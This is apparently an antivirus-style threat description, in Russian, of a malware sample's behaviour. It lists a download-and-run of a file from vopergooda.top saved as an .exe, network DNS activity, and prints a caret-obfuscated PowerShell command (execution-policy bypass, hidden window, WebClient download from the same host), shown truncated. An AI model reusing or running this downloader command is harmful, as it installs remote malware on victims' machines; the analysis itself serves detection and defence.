Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.vopergooda.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "po^we^RsHe^l^l^.^EX^E -ex^E^cu^TI^oN^po^L^i^cY^ bYP^a^Ss -N^oP^rO^FIl^E ^-WinDowst^yL^E^ hI^dDen ^(^n^eW-ob^je^cT sY^St^Em.NE^T.weB^ClIENT).^d^Ow^n^lo^a^df^IlE('http://www.vopergood...
Сетевая активность
UDP
- DNS ASK vo###gooda.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "po^we^RsHe^l^l^.^EX^E -ex^E^cu^TI^oN^po^L^i^cY^ bYP^a^Ss -N^oP^rO^FIl^E ^-WinDowst^yL^E^ hI^dDen ^(^n^eW-ob^je^cT sY^St^Em.NE^T.weB^ClIENT).^d^Ow^n^lo^a^df^IlE('http://www.vopergood...' (со скрытым окном)
